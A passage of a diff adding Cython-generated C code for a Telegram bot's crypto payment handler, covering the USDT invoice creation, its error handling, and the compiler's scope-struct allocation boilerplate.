__pyx_t_9 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L17_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 229, __pyx_L9_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 229, __pyx_L9_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":221 + * ) + * + * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + } + + /* "handlers/payments/cryprobot_pay.py":213 + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + * ) + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + } + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + goto __pyx_L14_try_end; + __pyx_L9_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/cryprobot_pay.py":233 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * else: + */ + __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_13) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_9, &__pyx_t_3) < 0) __PYX_ERR(0, 233, __pyx_L11_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_v_e = __pyx_t_9; + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":234 + * ) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * else: + * await message.answer(" . , :") + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__17, __pyx_t_8); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_15}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + + /* "handlers/payments/cryprobot_pay.py":233 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * else: + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L24; + } + __pyx_L23_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_13 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_13; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L11_except_error; + } + __pyx_L24:; + } + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L10_exception_handled; + } + goto __pyx_L11_except_error; + + /* "handlers/payments/cryprobot_pay.py":213 + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + * ) + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + __pyx_L11_except_error:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + goto __pyx_L1_error; + __pyx_L10_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + __pyx_L14_try_end:; + } + + /* "handlers/payments/cryprobot_pay.py":201 + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/cryprobot_pay.py":236 + * logger.error(f" : {e}") + * else: + * await message.answer(" . , :") # <<<<<<<<<<<<<< + */ + /*else*/ { + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__33}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L29_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 236, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 236, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_expected_hash); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct__process_callback_pay_cryptobot", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct__process_callback_pay_cryptobot", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_invoice); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_invoice) { + e = (*v)(p->__pyx_v_invoice, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection), + 0, + 